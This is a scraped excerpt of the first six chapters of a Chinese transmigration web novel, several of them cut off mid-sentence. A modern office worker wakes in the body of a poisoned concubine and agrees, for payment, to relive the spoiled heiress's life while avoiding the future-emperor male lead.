《请不要和男主谈恋爱》 1. 第一章 《请不要和男主谈恋爱》全本免费阅读 沈望舒总觉得自己好像做了一个冗长的梦。 梦的内容她已经记得不甚清楚,只晓得自己好似一直处在浑浑噩噩的状态里,仿佛被鬼魅一样的噩梦魇住,叫她难以从这般痛苦的梦境中苏醒。 她的耳边一直回荡着悉悉索索的说话声,像是有人坐在她房间外的走廊上,隔着一堵厚重的墙,正七嘴八舌地议论着什么,那些声音断断续续地飘进她的耳朵里,叫她在这个噩梦里更加的痛苦与烦躁。沈望舒伸长了脖子努力地去听,却又听得不真切,仿佛每个字都被一层又一层的纱紧紧地包裹了起来,叫人无法窥探其中的一星半点。而她此时浑身又痛的好似被一辆重型皮卡碾过一样,骨头几乎都快要散架了,更不可能去仔细分辨那些声音到底在说些什么了。 沈望舒甚至有一种自己如果现在不醒过来,就要这样永远睡去的错觉,这让她无端地产生一种即将死去的恐惧。 她甚至能够诡异又清晰地感觉到自己的生命正在流逝,如果她再不努力恢复意识,她就就会这样痛苦地、悄无声息地死在这个浑浑噩噩的梦里。 沈望舒慌极了,她费尽全力、几近挣扎地睁开了沉重的眼皮,可一睁开眼,沈望舒还没来得及为自己的劫后余生松上一口气,周围的景象却又叫她吓了一跳。 不知为何,在自己费尽千辛万苦醒来之后,沈望舒看到的却不是自己熟悉的出租屋,不是有些剥落的白灰墙,更不是低矮的天花板,而是在一个只有在电视剧和影视城里才看到过的华美宫殿之中,她面前正围着七八个穿着古装的美貌女子,为首的三个都穿着华贵的衣裳,梳着漂亮的发髻,戴着金灿灿的首饰,宛若是天上的仙女下到了凡间,正要给沈望舒这个土包子开开眼界似的。 如果她们看向沈望舒的眼神不那么嫌弃的话。 明明她们几个都是花一样的美人,可脸上的表情却充满了鄙夷与不屑,连眼神里都带着些轻慢,仿佛正在看天底下最肮脏的物什,哪里还有一点不食人间烟火的仙女模样? 但沈望舒也没空去管那么许多,她迫切地想要知道自己现在身处哪里,面前的人又都是谁,是不是谁在跟她开什么玩笑,请了整蛊节目来专门看自己笑话的?她下意识地开口想要问她们几句话,可话还没说出口,她却突然觉得心口和胃像被刀子割了一样疼,叫沈望舒于刹那间冒出了一身的冷汗,“扑通”一声摔倒在冰冷的地板上。 那几个仙女冷眼看着她,却没有一个人上前来扶她一把。 “我……”沈望舒下一个字还没来得及说出口,瞬间觉得胃里有如翻江倒海一般,“哇!”地一声,呕出一大口的血来。 黑红色的血在杏色的地毯上晕染开来,腥臭怪异的味道顿时铺满了整个房间,眼前的情况叫沈望舒的大脑也宕机了,懵懵地说出了这小半天以来的第一句话。 沈望舒说:“卧槽?” 这时她眼前的一位穿着碧色华服女子终于悠悠地开了口:“贵妃娘娘平日里嚣张跋扈惯了,倒是第一次瞧见您这么跪在我跟前呢,叫妾身好生害怕呀。” 她这婊里婊气的话才刚说完,便马上话锋一转,掷地有声地责骂道:“沈妄姝!你胆敢谋害皇后、毒害皇嗣,如今这一壶毒酒,也算是了结了你这一身的罪孽了。” 她变脸变得比翻书还快:“你放心,知道你爹和你大哥疼你,为了叫你们这温馨的一家人团聚,我已经提前送他们下去了。” 沈望舒根本不知道为什么眼前这个见都没见过的怪人会知道自己的名字,更不知道到底发生了什么事情,什么皇后、皇嗣又和自己又半毛钱的关系?她又哪里来的爹和大哥?她只晓得现在宫殿外头分明艳阳高照,她却痛的冷汗直流,整个人从脚底冷到心窝,仿佛随时随地会昏死过去。 她想开口问话,可嘴一张开,却只有腥臭的血源源不断地从嗓子里涌出来,沈望舒的五脏六腑仿佛有一千把刀在割,痛得她眼泪直流,一双手在胸口和地板上乱抓,试图去抓住些什么救命的东西,她修长精致的指甲在冰冷的地板上抠断了,留下一道又一道可怖的血痕,却也不能叫她身体里的痛楚减少半分,她哭喊的声音像婴儿一般延绵不断,叫谁看了都要觉得可怜。 可她面前的女子非但连眉头都不皱一下,还要开口嘲讽她道:“你好歹也是贵妃,不过是一杯毒酒下肚,怎么像个疯子似的,连点仪态都没有了。” 沈望舒忍着剧痛,大骂了一句:“马的,有本事你也喝一口,你不疼的哭爹喊娘,老娘今天就跟你姓,认你做爹!” 许是沈望舒骂得太难听,也或许是她们没想到沈望舒还有力气张开嘴骂人,听见她这话皆是一愣,那穿碧色衣裳的娘娘冷笑了一声,说:“不愧是名冠天下的沈妄姝,死到临头了嘴上还不饶人。” 沈望舒特别想问一句你TM谁啊你老娘认识吗?可她实在痛的快要死了,整个人在地上躺着,连打滚的力气也没有,意识也逐渐地开始模糊了起来——大概是那毒酒终于起了作用,她是真的要死了。 在她快要失去意识的时候,突然有个尖细的男声喊了句“皇上驾到!”方才屋内还嚣张跋扈的几个人便花容失色一样纷纷跪了下去,恭敬地喊着“参见陛下”。 接着便有个身着明黄色龙袍的年轻男子走了进来。 那男子冷着脸,看着一片狼藉的屋内,又看了一眼满身是血躺在地上的沈望舒,只问了一句:“在闹什么?” 他的声音像是冬日里冻了三尺的寒冰,冻得叫人直想发抖。 方才还气焰嚣张的娘娘立刻毕恭毕敬地开口道:“回陛下,臣妾和几个妹妹正要去散步,才路过长乐宫,却听得里头的宫女们乱作一团,情急之下进来查看,才知道姝妃娘娘自知罪无可恕,服毒要自尽!” 她说罢还要拍一拍自己的胸口,娇滴滴地冲皇帝说:“臣妾看这满地的血……真是吓得不知如何是好了……” 皇帝并不接她的话,他平静地听完女子的哭诉,面上也依旧没有任何表情,只是又抬起眼来,去扫了一眼奄奄一息的沈望舒,用几乎没人听见的声音轻叹了一口气,扔下了一句“去传太医”之后,便拂袖而去,再也没有看屋内的人一眼。 仿佛他既不怜惜所谓的姝妃,也不疼爱在地上跪着的几个美人,他看向濒死的沈望舒的时候,好似在看一只苦苦挣扎的蝼蚁,没有半点感情,也并没有将她当做一个后妃、甚至是一个活生生的人。 但沈望舒并不在乎这些。 她不在乎一个陌生男人的怜惜,也不指望眼前的人能够饶自己一条小命,她虽然不知道发生了什么,但她听到皇帝留下的那句“传太医”的口谕。 没有人敢抗旨。 沈望舒欣喜若狂——她才二十一岁,大学才刚刚毕业,她给自己找了一份满意的工作,才刚转正没多久,人生才正要爬出泥泞去走向正轨,沈望舒当然不甘愿就这么不明不白地死去,听到这旨意自然觉得自己还有救,她还不用死!只要她撑住, 2. 第二章 《请不要和男主谈恋爱》全本免费阅读 看着一个和自己长的几乎一个模子里刻出来的人蹲在自己面前,一边道歉一边哭得梨花带雨,对沈望舒来说是一件十分诡异的事情。 她耐着性子等了小半天,那姑娘都没有要停下来的意思,听得沈望舒都有些烦了。 要不是她指望着从这姑娘嘴里问出些信息来,按照沈望舒的脾气,她根本不可能在这里听人哭这么长的时间,现在坐在这里听了这么久,沈望舒的耐心终于耗尽了。 “你再哭我要打你了。” 沈望舒这话说得好像晚上要吃什么饭一样平静,却让对面那姑娘吓得花容失色:“你、你这人怎么这么凶啊!” 她本就长得绝美,眼睛哭得红肿的模样让她看上去像是只在寒风中瑟缩的兔子,是任谁看了都要垂怜的。 但沈望舒不会。 跟自己长得一模一样的人哭有什么好可怜的?她只想着早点把该问的事情问完了,好赶紧离开这个鬼地方回家去——明天她还要一大早起来,坐半个多小时的地铁去上班呢,对于沈望舒这个穷鬼来说,每个月全勤的二百多块钱奖金够她吃好几天的饭,所以只要她没有死,那么即便是天塌了、下刀子了,也不可能有任何事影响她去打工赚钱。 见这招有用,她马上板着脸,一字一句地说:“你再不跟我好好说话,我现在就起来打你。” “我扛过快递送过货,力气大的不得了,打你一个娇滴滴的小姑娘绝对够了。” “别别别!”那姑娘是真的被沈望舒这模样吓到了,赶紧摆手,脸色煞白地求饶道,“你要我说什么,我说,我都说的。” 沈望舒这才满意了,她拍了拍手,在这姑娘的面前盘腿坐下,问了这小半天来的第一个问题:“你到底是谁?” 那姑娘可怜巴巴的,一边用袖子抹眼泪,一边低声道:“我是江南首富沈向远之女,沈妄姝。” 沈望舒人傻了。 这人不光跟自己长得一模一样,连名字也一样! 什么情况?她真的活见鬼了? 尽管心里怦怦直跳,沈望舒还是尽量让自己平静下来,不叫自己露怯,又问她:“你为什么跟我道歉?你是不是知道我是谁,也知道这里是哪里?” 沈妄姝泪眼婆娑地点了点头,一边打着哭嗝一边向沈妄姝解释了一遍来龙去脉。 原来沈向远虽然是江南巨贾,家财万贯又富可敌国,可养的一双儿女却个顶个的废物——儿子沈星遥是出了名的纨绔子弟,读书经商干啥啥不行,女儿沈妄姝虽是艳绝天下的江南第一美人,却是个十成十的草包,干出的糗事没有一千也有八百,兄妹可谓是俩成事不足,败事有余的个中典范。 沈向远为了这两个孩子,想了一出法子。 他开始资助穷书生们读书,更在自家宅子里翻新了一处院子,专供那些穷的连饭都要吃不起的书生们住,只为着将来这些人里有谁高中了之后,能够庇护一下他们沈家,好保着他们兄妹俩下半生平平安安。 在这群书生里头,有一个名叫陆晏时的少年人,虽然是个无父无母的孤儿,学问却做的十分好,连模样也长的十分俊俏,似乎是老天爷要特别偏爱他似的,连沈星遥这个赫赫有名的俊俏公子都叫他比了下去,所以沈妄姝对他相当感兴趣,甚至还为了和他说话,求着沈向远把自己和陆晏时送进同一间书院去读书了。 奈何陆晏时是个有傲气的,他感谢沈向远的资助,却不愿意像奴仆一般去讨好沈氏兄妹二人,沈妄姝几次与他搭话,他都是一副不咸不淡的模样,叫沈妄姝十分受挫。 她沈妄姝身为远近闻名的美人,从小到大遇到的男子,无一不想尽法子去讨她的欢心,遇到一个不识抬举的,叫沈妄姝恼羞成怒,一气之下便联合书院里的其他人一起开始欺负陆晏时了。 待到多年之后,沈妄姝才知道,陆晏时他是先皇的私生子,甚至还登基做了皇帝…… “停!停!Stop!”沈望舒越听越头大,越听越觉得心惊,赶忙叫停了坐在对面喋喋不休的姑娘。 她长舒了一口气,问道:“你是不是还看一个叫什么柳半夏的姑娘不顺眼,跟另外一个叫……叫虞妙瑛的,俩人联合起来又欺负陆晏时,又欺负柳半夏的,闹了不少事情,没想到后来柳半夏嫁给陆晏时做了皇后,你怒不可遏,又被虞妙瑛蛊惑,设计要害柳半夏,结果事迹败露,你犯了死罪,你哥跟你爹也被你连累,一块儿被杀了,对吗?” 这下轮到沈妄姝震惊了,她瞪大了眼睛,奇道:“你怎么知道?” “草!”沈望舒没忍住,低声骂了句国骂。 她怎么会不知道?!沈妄姝所说的内容,全都源自于她昨天晚上睡前看得一本烂俗至极的垃圾小说《医女皇后》!这小说写的剧情俗套,逻辑混乱,就连文笔都没有什么可取之处,沈望舒囫囵看了大半以后就直接跳去看了结局,关掉APP之前还骂了两句作者呢。 这陆晏时和柳半夏就是小说里的男女主,和自己同名的沈妄姝则是这小说里没有脑子、自私自利的恶毒女三啊! “我穿书了?”沈望舒自言自语道,“不对啊……小说里沈妄姝没有进宫做娘娘啊?” “对呀,”沈妄姝听见她的话,非常好心地接话道,“第一世的时候我确实没进宫就死掉啦。” “啊?”沈望舒又懵了,“第一世?” 沈妄姝有些不好意思地笑了笑:“我重生啦。” 她眼角上的泪还没擦干,扯起嘴角笑的时候瞧着就有些勉强,却依旧美得像个仙女,只听她用哭得有些沙哑的嗓音继续说道:“我在临死前后悔极了,后悔自己当初愚蠢又跋扈,害得我爹与大哥身首异处,正在不甘心之际,我的脑子里出现了一个叫做系统的东西……” 沈望舒:“啊?” 敢情你这还是一本重生系统文。 沈妄姝自然不知道沈望舒的心里的吐槽,自顾自地又开始说明自己第二世的情况。 她既然重生一世,又提前知道了陆晏时的身份,自然不会像从前那样欺负他了,她本就喜欢陆晏时,便在这一世里想尽办法去讨好他、对他好,好到连陆晏时都觉得她奇怪了。 但陆晏时是个知恩图报的人,他承了沈家这样多的好处,登基之后的第一件事,自然 3. 第三章 《请不要和男主谈恋爱》全本免费阅读 虽然沈妄姝的经历确实很惨,尤其是她为了父兄努力、为了自己的爱情拼劲全力那一段事迹,放到现代的电视剧里高低能拍个三五十集来,再加上她这张美艳的小脸,怎么说都能整个年度最佳影视奖,但沈望舒却听得内心毫无波澜——毕竟她刚刚才经历过一次钻心剜骨的死亡,毒药带来的痛楚似乎还残留在她的身体里,让沈望舒连动一下都后怕,仿佛她一动,那刮骨一般的痛就又会回来似的。 更何况沈望舒向来认为,日子不管好坏,都是要靠自己努力过下去的,即便是在她最困苦的日子里,她都没有想过要叫谁来帮一帮自己,把自己拉出那个泥沼一般的困境里,所以她不能理解沈妄姝的想法,更何况她还有一个能让她近乎无限重开的系统? 都已经手握这样的外挂了,又凭什么能因为她害怕就拉别人来做替死鬼呢?这简直太自私、太无理取闹了,她这个首富之女沈妄姝的命是命,自己这个蝼蚁一样的沈望舒的命难道就不是命吗? 要说惨,谁能有她惨?她连好好活着都要拼尽全力,为了省一点钱去读书,连一个馒头都恨不得要掰成三顿去吃,又哪里来多余的同情心去可怜一个生来富足的千金小姐呢? 眼见沈妄姝嘴巴一瞥又作势要哭,沈望舒赶忙抬手阻止她道:“你哭也没用。” 沈望舒揉了揉被吵得有些疼的耳朵,冷冷淡淡地接了句:“也不怕把眼睛哭瞎了。” 沈妄姝却一脸无辜:“我都已经死了,眼睛不会瞎的。” 一时间沈望舒竟然觉得她讲得十分有道理。 她长叹了一口气,试图跟沈妄姝讲道理:“你有没有想过,就算是我愿意帮你,等到我成功了、把你换回来了,你一样有可能会犯错死掉。” “因为人生不是你自己过的,你永远得不到教训,改不掉自己的问题,只会一次又一次的在一样的问题上犯错。” 沈望舒循循善诱,企图用谈话来扭转沈妄姝脑子里那些疯狂的想法:“你要是实在不愿意自己做,那你就把我放了重新找个人吧,我肯定不会帮你的,留我在这里也没用。” 沈妄姝却执迷不悟:“你长得跟我一模一样,名字也同我一模一样,这世上没有比你更好的选择了,如非必要,我不会换人的。” 见她这油盐不进的模样,沈望舒简直头疼,正要开口说几句,却听得对面的沈妄姝说:“我又不可能叫你白忙活,会给你报酬的啊。” 沈望舒心里一跳:“什么报酬?要给我钱吗?” 沈妄姝红着眼睛点了点头:“嗯,五千万够吗?” “多少?!”沈望舒惊叫一声:“五千万!?” “不够吗?”沈妄姝以为自己开的价格低了,忙不迭地开口加价,“那我再给你加五千万,可以吗?” 这下沈望舒一下来了精神,方才心里的不忿和大道理于瞬间被她抛诸脑后,她有些不置信地问她:“你有这么多钱给我?给的我们那儿的货币?” “当然是给你们那儿的钱,”一提起钱,沈妄姝就骄傲了起来,脸上的神色活像个得了什么奖励的小狗,“我爹可是江南首富,这点小钱我还能给不起吗?” 沈望舒一骨碌从地上爬起来,有些激动地道:“那你现在就给我写个保证书,咱俩签字画押,你先打三成的钱到我账户上做定金!” 一见她松口,沈妄姝立刻不知从哪里掏出纸笔来,写契约、签字、画押一气呵成,生怕沈望舒反悔似的。 见沈望舒如获至宝、小心翼翼地将那一张纸叠好收进口袋里,沈妄姝嘀咕了一句:“方才还大义凛然地要回去呢,就这点钱就轻易把你收买了。” 巨款即将到账,沈望舒心情好得不得了,哪怕被沈望舒Diss她也不生气,反而笑眯眯地说:“你这种含着金汤匙出生的大小姐当然不懂我们这种底层打工人的辛苦,三瓜两枣就能叫我每天像狗一样起来上班,更何况这么大一笔钱呢!我的尊严能值几个钱啊?” 说罢沈望舒摆出副慷慨就义的模样,大声道:“来吧,老板!咱们开工!” 沈望舒话音刚落,只见的眼前白光一闪,整个人犹如自高空坠落一般飞速往下掉,沈望舒下意识伸出手去想要抓些什么,却在下一瞬“轰”地一声坠落了。 倒是不疼。 沈望舒就这么简单的回到了沈妄姝的身体里。 她不知道自己在哪里,也不知道自己现在几岁,更不晓得自己处于书里的哪一段剧情里,只是落进实体的过程有些过于刺激,叫沈望舒觉得天旋地转、整个脑袋疼的好似要裂开,直想吐。 偏偏她面前正有一群少年少女不知在为着何事吵闹,叽叽喳喳的好不热闹,那声音传进沈望舒的耳朵里,好似有千万根针在她脑瓜子里扎似的,吵得她头更疼了。 沈望舒下意识问了句:“在干嘛呢?” 她这话一问出口,前头那几个少年少女便齐刷刷地回过头来看她,其中一人笑着往前头一指,道:“你倒是快来瞧瞧,陆晏时穿的衣裳穿的真是滑稽。” 一听见陆晏时的名字,沈望舒心里就咯噔了一下,她下意识地抬头往那少女手指的方向看了过去,就瞧见被围在人群之中的男主角陆晏时。 陆晏时此时看着不过十七八岁,他生得俊美,像是话本里貌比潘安的绝世公子,才从书里走出来,正一言不发地站在人群中央,静静地看着众人。 他虽然模样俊俏,但脸上的表情却似寒冰一样冷冽,仿佛此刻被人欺负的不是他一样。 如今已经是十月深秋,即便是在江南这样温暖的地方,也免不得有些寒意了,陆晏时穿着一件洗得有些发白的青色长衫,头发一丝不苟地梳在脑后,劲瘦修长的身子被包裹在薄薄的衣衫之下,显得他整个人更瘦弱了,却又叫他看起来像一节不屈不挠的竹,正傲立于寒风之中,半点不肯折腰。 不知怎的,沈望舒突然想起自己上一次死之前,作为皇帝的陆晏时来看自己的那么一眼——即便他长大了,穿上了龙袍,做了至高无上的皇帝,却也和少年时的他并无太大的区别,依旧孤高又冷漠,像冰似的叫人难以接近,仿佛他天生就是生长在寒风里、结满了冰霜的树,永远不折不挠,永远高不可攀。 只是如今陆晏时过的落魄,他那件长衫上头还歪歪扭扭地打着几个补丁,瞧着确实十分滑稽——陆晏时幼年丧母,那丑陋不堪的补丁想来应该是他自己缝的。 这些个少年少女嘲笑的就是陆晏时身上这件寒酸的长衫了。 此时沈妄姝的声音突然在沈望舒的脑子里响起:“这是陆晏时才到书院来读书的第五日。” 沈望舒正惊奇沈妄姝是怎么跟自己说话的,就听见 4.第四章 《请不要和男主谈恋爱》全本免费阅读 原书里陆晏时和沈妄姝就读的华章书院,算得上是江南名校之一,院长江远虽说确实是个远近闻名的大才子,却又是个极世俗的人,喜欢名贵的书画、还贪一口好酒,都是些极花钱的嗜好,因而他借着自己的名气早早地开了书院,收着昂贵的学费,教着富贵人家的孩子,短短几年就赚的盆满钵满,这书院也就被他装修得越来越豪华了。 如今这书院建得宽阔,除了学生们读书的学堂之外,还有一处大院,大院里不仅种满花草与各式树木,还修了假山、建了凉亭,每日鸟儿莺啼之声与夫子讲课声、学生朗朗读书声交织在一起,活脱脱一副世外桃源的模样。 但现在这世外桃源对沈望舒来说跟阿鼻地狱也没什么区别。 她刚刚那一巴掌扇得在场所有人鸦雀无声,就连一向冷静自持的陆晏时都瞪大了眼睛,摆出了一副不可置信的模样,直勾勾地盯着沈望舒看。 别说什么回避死亡路线了,她这刚过来就给死神脸上来了一巴掌,简直是神仙难救了。 而她脑子里的沈妄姝更是一刻不停地发出尖锐的爆鸣声,活像一只烧开的水壶。 “你别叫了,这完全是一场意外,”在一片混乱之中,沈望舒选择先让脑子里这只烧水壶先安静下来,“我可以解释。” 烧水壶还没开口说话,旁边在霸凌陆晏时的人先开口问:“你、你这是在做什么?” 沈望舒直起腰身,理直气壮地回了句:“你们不是在欺负他吗?我帮你们啊。” 沈妄姝又尖叫起来:“你是不是疯了!” “你别吵了!”沈望舒忍无可忍,在脑海里大声冲沈妄姝吼道,“你再叫一声,我现在就当着所有人的面扇自己两个耳光,大家都别做人了!” 沈妄姝从没遇过这样不按常理出牌的人,一时间被这段话和这个气势吓到,嘤嘤嘤地哭了两声,并不敢再大声说话了。 这几位霸凌人的少爷小姐虽说不是什么好人,却也从来没有亲自动手打过人,瞧见沈望舒动手打人,自然有些震惊:“你真想打他,叫下人去打就是了,平白累着自己的手。” 沈望舒却不以为然,她理所应当地道:“他是我带来的人,要打要欺负当然只有我能打、只有我能欺负。” 沉默了还不到十秒的沈妄姝小声道:“……你自己也知道你现在正在胡言乱语吧?” 沈望舒真的快疯了:“……我求你了,你别说话,别打破这份尴尬。” 好在此时蓄着长须的夫子夹着书本匆匆走来,适时的打断了他们这群人对陆晏时的单方面欺凌,几个人欺负人的少年人作鸟兽散,灰溜溜地回到了自己的座位上,陆晏时见他们散了,便也径直回自己的座位上去坐下了,即便他的脸上还带着一个明晃晃的巴掌印,他也不再往沈望舒的方向看一眼了。 仿佛被欺负、被嘲笑、被扇了一巴掌的人并不是他,而是哪个与他没有半点干系的陌生人一样。 碍于如今的身份,沈望舒也只能老老实实地按着沈妄姝的指示回到自己的座位上坐下,听着夫子在台上头头是道的之乎者也,沈望舒半个字也听不懂,坐在座位上拿着毛笔在纸上瞎鼓捣,也不知在写些什么,就这么浑水摸鱼的过了一整日。 在下学的时候,沉寂了大半日的沈妄姝终于幽幽地开口说了句:“你死定了你知道吗。” 沈望舒哪儿能不知道啊? 但她这人别的优点没有,接受现实的速度却比谁都快,前一刻还犹如热锅上的蚂蚁呢,下一刻就已经冷静了下来,开始尝试去分析目前的情况了,简直跟没有心似的。 听见沈妄姝这样说话,她也只是讪笑了声,一边迈着步子往学堂外走一遍漫不经心地回话道:“没事的,大不了我死了再重开,为了那一个亿再让我死一次也行的。” “没出息。”沈妄姝低声骂道。 “那可是一个亿啊!你知道一个亿能买多少东西吗?!”沈望舒懒得跟这种富可敌国的大小姐计较,也不在乎她那句无关痛痒的话,反而一本正经地对沈妄姝说道,“而且你知道吗,我刚刚发现了一个Bug。” “八哥?什么八哥?”沈妄姝听不明白,一个劲的追问,“哪里来的八哥?” 沈望舒没法跟一个古人解释英语这个后世才会出现的玩意,只咳了一声,说:“你知道为什么你两辈子都失败死亡了吗?” 她一说这个,沈妄姝就来了精神,问:“为什么?” “因为男主陆晏时啊!”沈望舒一本正经地和她解释,“你没发现都是因为你要跟他搞在一起才导致你没有好下场的吗?” 沈望舒好似发现了什么惊天秘密,连说起话来的语调都是上扬的:“所以只要我这辈子离男主远远的,不跟他扯上什么没必要的关系,最好暗中帮助他跟原本的女主柳半夏谈恋爱成亲,等他登基以后你不就彻底安全了吗!” “这样以来你爹跟你哥也不会死了,你还能保你家一辈子富贵,简直不要太完美了。” 她在这边侃侃而谈,沈妄姝却听得黑了脸,十分干脆地回绝了:“我不要,我就喜欢陆晏时!” “你不是吧,”沈望舒一脸震惊,“你不会还要我去帮你泡陆晏时吧?你疯了?” 虽然沈妄姝听不懂“泡陆晏时”是什么意思,但从沈望说话的语气里,她猜到这多半和定亲的之类的词是一样的,便连连点头道:“对呀,我要你帮我泡陆晏时。” “合同里没写,我不干!”沈望舒如丧考批,“你这根本就是让我去送死啊!现在的当务之急是要他撇清关系好吗!” “不可以!”沈妄姝又尖叫了起来,“我就喜欢陆晏时!你不准替我跟他撇清关系!” 她尖叫的声音又尖又细,穿透力十分之强,犹如数十只烧水壶同时在沈望舒的脑子里沸腾起来,沈望舒好不容易舒服的脑瓜子又开始疼了。 沈望舒开口劝她安静,可沈妄姝自小就是个被宠坏的大小姐,任性妄为惯了,娇纵的脾气上来的时候,便是她爹 5.第五章 《请不要和男主谈恋爱》全本免费阅读 沈府的马车走得并不快,两匹马拉着车慢悠悠地从书院往城里走,沈望舒初来乍到,自然对这里的一切充满了好奇,她将马车的窗户打开去看外头的景色与行人,秋日的凉风便一股脑地钻进车厢里,吹得悬在窗上的月影纱随风翻动,像是浮在天上一层又一层的云,打碎了洒进车厢里的日光,叫这车厢一时间犹如仙境一般如梦似幻了。 而沈望舒则是坐在那云端上的九天玄女,美的恣意又明媚,叫人只瞧上一眼,都会被她举世无双的美貌折服,心甘情愿地沦为她的奴隶。 但陆晏时向来不是这样肤浅的人,他视沈望舒的美貌于无物,只抿着嘴、一言不发地看向自己的脚面,仿佛他是被强绑上车的贞洁烈女,只想着怎么样才能得救,至于沈望舒这个绑匪的模样几何,是与他没有半点干系的。 好在沈望舒也知道自己不招陆晏时待见,并不打算开口跟他尬聊,见陆晏时没有要跟自己搭话的意思,便乐得轻松地坐在窗前,兴致勃勃地去看那些只有在电视剧里才见过的建筑。 如果沈妄姝不在她的脑袋里滋哇乱叫的话,她甚至能说服自己现在是在横店玩一场大型沉浸式剧本杀。 沈妄姝怒气冲冲:“你刚刚还说要跟他保持距离!” “为什么又突然出尔反尔?!你不准离他太近!坐远一点!” “你带着他要去哪?你说话啊!你哑巴了吗?!” 她这说话颐指气使的模样,简直就是活脱脱一个骄纵无礼的大小姐,沈望舒被她念得烦了,道:“你说话能不能小声一点?你再念信不信我现在再当着陆晏时的面扇自己两巴掌。” 沈妄姝的气焰顿时消了下去:“我不闹了就是了……你别打,千万别打。” 沈望舒这才满意了,向满脑袋问号的沈妄姝解释道:“我准备真心实意地向他赔礼道歉,他将来是要做皇帝的人,心胸其实也宽阔,只要我不一而在再而三地去招惹他,这么点小事他很快就会忘记的。” 沈望舒还没来得及开口问上一句她打算怎么道歉,马车就适时地停了下来,外头的车夫道:“小姐,到了。” 几人下了车,陆晏时才发现沈望舒带自己来了城里最大的一家兼卖成衣的布料店,那店铺自然是沈家的产业之一,店面修的气派,占掉了一整幢三层的楼,里头摆出来的每一匹布料、每一件衣裳,光用看的都知道价格不菲,显然是个与穷酸的陆晏时格格不入的地方。 陆晏时还未来得及问一句来这里做什么,就被沈望舒拽着胳膊拉进了店里,碍于前后有侍卫夹击,陆晏时终于还是没选择反抗,半推半就地跟着沈望舒进了店。 大小姐莅临,掌柜的轻车熟路地给她安排了最大的包间,沈望舒在脑内调笑:“你们这儿还有VIP服务呢?” 沈妄姝听不懂英语,问:“什么叫威挨批?” “哦,就是特有钱有权的,在你们家花钱花贼多的,”沈望舒一边跟脑子里的烧水壶解释,一边指着陆晏时向掌柜的开口指挥道,“拿几身这位公子能穿的衣裳来。” 她说罢又补了句:“挑些素净的,莫要太花哨了。” 沈妄姝惊叹于她说话的习惯和语气和她们那个时代的人几乎一样,叫旁人并听不出什么区别来,沈望舒干笑一声,信口胡诌:“看甄嬛传看的。” 掌柜的乐呵呵应了一声,正要转身去给陆晏时挑衣裳,却听得陆晏时开口道:“我不需要。” 那掌柜的迟疑了一下,沈望舒却摆了摆手叫他不必在意,赶紧去拿衣裳来,又转过头去跟陆晏时说:“等会你试试大小合适不合适。” 陆晏时心里自然一万个不乐意。 他不知道沈望舒打得什么主意,也不知道沈望舒是不是想了什么新的法子来羞辱于他,自然不愿意白白拿沈望舒的东西。 虽然日后的陆晏时是个治国有方的贤明皇帝,但如今怎么说他也只是个孤立无援的穷苦少年人,面对一群有钱有势的少爷小姐的欺凌,他便是再怎么有一颗强大的内心,也难免会觉得不安。 因而当那些名贵的衣裳被一件一件呈到自己面前的时候,陆晏时又十分固执地说出了不要两个字,仿佛他的抵抗能叫那个整日以欺凌他为乐的大小姐放弃似的。 但沈望舒自然不会这样轻易放过他,见陆晏时抿着嘴站在门口,她十分干脆地道:“要么现在你自己拿了衣裳去试,要么我叫侍卫在大厅里把你扒光了再一件件给你穿上,你自己选吧?” 陆晏时脸色瞬间煞白,过了小半日,才指着被放在最上头的一件绣竹叶的青色蜀锦长衫,干巴巴地道:“就试这一件。” 沈望舒也十分干脆:“行,就这一件。” 直到陆晏时拿着衣裳进到更衣室里,沈妄姝才小声逼逼了一句:“你哪里像是要跟他道歉啊……” 她似乎真的很怕沈望舒再发起疯来当着陆晏时的面扇自己,质疑沈望舒的时候也没敢像先前那样大声,气势自然就小了一大截。 沈望舒也不回话,只坐在椅子上懒洋洋地盯着更衣室的方向。 一直看到陆晏时慢吞吞地、一脸不情愿地穿着那件青色的长衫走出来。 陆晏时身材颀长,长的又一表人才,那件青色绣竹叶纹的长衫穿在他身上,衬得他长身玉立,活脱脱一个灿若朝光的绝世公子,仿佛这衣裳最初就是为了给他穿才做出来的似的,又哪里看得出半点穷酸的模样? 沈望舒看着看着,突然就笑出了声:“这不就是‘端木带我去了美特斯邦威,我都不知道镜子里那个女孩是谁’的剧情吗?” 沈妄姝听不懂:“你又在说什么?” “你不懂,我以后再跟你说。”她跟沈妄姝说完这些,便立刻站起身去喊掌柜的,“把这些衣裳都给陆公子拿上,晚上送去他那。” 陆晏时正要开口拒绝,沈望舒却先他一步开口道:“我这几日做错了事,这些衣裳是给你赔礼道歉的,你安心收下就是了。” “姑娘有心给我道歉便够了,”陆晏时很是执着,“这些东西不用了,陆某受不起。” 他一来不想再与沈望舒有过多牵扯,二来觉得这些衣衫贵重,自己受之不起,三来也怕沈望舒是想借这些衣裳再刁难自己,便无论如何都不肯收下,却听得沈望舒又道:“我知晓你这人清高,向来瞧不起我,自然也瞧不起我送的东西。” 陆晏时想说自己并非看不起沈望舒,他只是不将这些纨绔子弟当作一回事而已,却在开口之前被沈望舒先一步打断了:“我今日确实认识到自己错的离谱,所以才要这样正式地向你道歉,你将这些衣裳收了,我便算做与你两清了,从今往后我再也不会去烦你,更不会叫别人再欺负你了。” 6.第六章 《请不要和男主谈恋爱》全本免费阅读 在沈望舒回府的路上,沈妄姝终于承担起了一个系统的职责,滔滔不绝地向沈望舒介绍每一条街道、每一处风景,以及沈府里的人口结构,毕竟将来她还要换回自己的身体,所以为了不让沈望舒的行为叫人起疑,沈妄姝讲得简直苦口婆心,险些连下人们的身高体重家庭成员有谁都报出来了,待到马车停到沈府门口的时候,沈望舒已经可以叫出来接自己的侍女的名字了。 沈府是杭州城北最大的一处宅子,占地近四十亩,院内造景更是恨不得将整个江南美景都搬进来,既有天资奇秀的山石,又有巧夺天工的楼阁亭台,山曲之间以曲廊相连,树荫在其中连绵不绝,奢华气派之中又有着江南独有的秀丽,美的叫沈望舒都要看呆了。 “我去,”她下意识感叹了一句,“你家这么气派。” 她一夸,叫沈妄姝鼻子都快翘到天上去:“这算什么,我房里那些书画才叫传世珍宝呢。” “你还收藏字画?”沈望舒有些惊奇,“我还以为你这小文盲不看书呢。” 沈妄姝:? 她委屈巴巴地道:“你怎么净骂我。” 沈望舒嘿嘿一笑,还没来得及回上一句话,便瞧见一个身着桃色衣裳的婢女匆匆跑了过来,毕恭毕敬地对沈望舒行了一礼,低着头道:“大小姐,房掌柜今日拿了几匹布料来,现下正在杜姨娘的院里,等着您去挑呢。” 沈望舒也没多想,只应了声好,就跟着那侍女走了。 